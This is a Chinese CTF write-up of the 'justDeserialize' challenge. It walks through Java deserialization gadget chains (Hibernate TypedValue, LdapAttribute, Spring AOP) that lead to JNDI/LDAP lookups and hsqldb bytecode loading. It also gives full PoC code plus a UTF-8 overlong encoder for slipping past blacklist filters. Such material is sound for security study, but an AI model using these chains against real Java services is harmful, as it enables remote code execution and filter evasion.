软件安全赛半决赛--justDeserialize
1diot9 Lv3

依赖:springboot是2.7.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
<version>2.4.1</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.2.8</version>
</dependency>

题目是jdk11,我这里用jdk11.0.26

先分析可用资源:

  • hsqldb是内存型数据库,很可能可以通过call的方式实现方法调用
  • druid是个数据库连接池,它可以在jndi中,通过本地工厂类的方式,将jndi转化成jdbc,即能够控制数据库连接时的参数,并在连接前执行任意查询语句
  • springboot-jpa里带hibernate,aspectjweaver,springaop依赖
  • jdk11里,模块化特性还没强制生效。虽然没有exports的包还是没法直接用,但是可以在jdk8下编译,得到的payload直接去打jdk11的服务也行

再看题目:

  • 反序列化点很直接,不过有两次过滤
  • 第一次过滤基于字符串匹配,能够直接通过UTF8 Overlong绕过
  • 第二次是resolveClass,只能想办法绕过黑名单,这个黑名单主要禁的是readObject—>toString

hiberate链

这里通过触发org.hibernate.engine.spi.TypedValue#hashCode,最终实现任意getter方法调用,即hibernate链

可以触发com.sun.rowset.JdbcRowSetImpl#getParameterMetaData,然后jndi

也可以触发com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition,然后jndi

不过这里HashMap被ban,所以需要使用HashTable来触发hashCode

我这里jdk11.0.26,trustcodebase和trustserialdata都默认为false,所以不能通过传统的方式打jndi。这里直接使用java-chain工具生成ldap服务器:img

之后就是DruidDataSourceFactory到hsql的jdbc attack了

hsql是能够调用任意public static方法的,所以这里选org.springframework.util.ReflectionUtils.defineClass来加载字节码。

Poc:要在jdk8下生成,jdk11里JdbcRowSetImpl没有exports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.example.ezjav.solution;


import com.example.ezjav.utils.MyObjectInputStream;
import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Hashtable;


public class Poc {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:50389/77e2e4");
GetterMethodImpl getterMethod = new GetterMethodImpl(JdbcRowSetImpl.class, "databaseMetaData", jdbcRowSet.getClass().getDeclaredMethod("getDatabaseMetaData"));
PojoComponentTuplizer o = (PojoComponentTuplizer) Tools.getObjectByUnsafe(PojoComponentTuplizer.class);
Tools.setFieldValue(o, "getters", new Getter[]{getterMethod});
ComponentType o1 = (ComponentType) Tools.getObjectByUnsafe(ComponentType.class);
Tools.setFieldValue(o1, "componentTuplizer", o);
Tools.setFieldValue(o1, "propertySpan", 1);
TypedValue typedValue = new TypedValue(o1, jdbcRowSet);
// typedValue.hashCode();

Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put("1", "2");
Field tableField = Hashtable.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashtable);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
Tools.setFieldValue(entry,"key",typedValue);
}
}


ByteArrayOutputStream baos = new ByteArrayOutputStream();
CustomObjectOutputStream oos = new CustomObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.close();

String s = Base64.getEncoder().encodeToString(baos.toByteArray());

Base64.getDecoder().decode(s);

new FileOutputStream("D://1tmp//payload.txt").write(s.getBytes());

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
new MyObjectInputStream(bais).readObject();
}
}

LdapAttribute链

触发getter的方式跟上面一样,都用hibernate链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static BasicAttribute getGadgetObj(){
try{
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true);
bcu_fi.set(la, "ldap://127.0.0.1:1389/");
CompositeName cn = new CompositeName();
cn.add("a");
cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true);
rdn_fi.set(la, cn);
return la;
}catch (Exception e){
e.printStackTrace();
}
return null;
}

SpringAOP新链

能触发任意方法。根据接口类型,所需要的启动方式也不一样,比如这里用toString启动。如果再套一层Comparator接口,那就可以用Compare启动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.example.ezjav.solution;

import com.sun.rowset.JdbcRowSetImpl;
import org.aopalliance.aop.Advice;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.ProxyFactory;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Comparator;

public class Poc02 {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:50389/99b8ce");
Method declaredMethod = jdbcRowSet.getClass().getDeclaredMethod("getDatabaseMetaData");

// Person person = new Person();
// Method declaredMethod = Person.class.getDeclaredMethod("getName");
AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
SingletonAspectInstanceFactory instanceFactory = new SingletonAspectInstanceFactory(jdbcRowSet);
AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(declaredMethod, pointcut, instanceFactory);
ProxyFactory proxyFactory = new ProxyFactory(jdbcRowSet);
proxyFactory.addAdvice(aspectJAroundAdvice);

Object proxy = proxyFactory.getProxy();
proxy.toString();
// Object o = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Comparator.class},(InvocationHandler) proxy);
// o.compare("aaa", "bbb");


}
}

参考

软件攻防赛现场赛上对justDeserialize攻击的几次尝试 | GSBP’s Blog

软件系统安全赛2025华东赛区半决赛wp-web - Potat0w0

https://github.com/vulhub/java-chains/

微信公众平台 Springaop新链

分析尝试利用tabby挖掘-SpringAOP链 - Potat0w0 SpringAOP新链简化版

Java反序列化之Hibernate - Potat0w0 hibernate链 注意大于5版本和小于5版本的利用方式不同

hibernate1利用链分析 | 藏青’s BLOG

UTF 8 Overlong 工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
package com.example.ezjav.solution;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;

public class CustomObjectOutputStream extends ObjectOutputStream {
private static HashMap<Character, int[]> map;
static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf}); // 0x6f
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});
}

public CustomObjectOutputStream(OutputStream out) throws IOException {
super(out);
}

@Override
protected void writeClassDescriptor(ObjectStreamClass desc) throws
IOException {
String name = desc.getName();
// writeUTF(desc.getName());
writeShort(name.length() * 2);
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
// System.out.println(s);
write(map.get(s)[0]);
write(map.get(s)[1]);
}
writeLong(desc.getSerialVersionUID());
try {
byte flags = 0;
if ((boolean)getFieldValue(desc,"externalizable")) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField =
ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
int protocol = (int) protocolField.get(this);
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if ((boolean)getFieldValue(desc,"serializable")){
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if ((boolean)getFieldValue(desc,"hasWriteObjectData")) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if ((boolean)getFieldValue(desc,"isEnum") ) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);
ObjectStreamField[] fields = (ObjectStreamField[])
getFieldValue(desc,"fields");
writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
Method writeTypeString =
ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class);
writeTypeString.setAccessible(true);
writeTypeString.invoke(this,f.getTypeString());
// writeTypeString(f.getTypeString());
}
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
}
}
public static Object getFieldValue(Object object, String fieldName) throws
NoSuchFieldException, IllegalAccessException {
Class<?> clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
Object value = field.get(object);
return value;
}

}
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量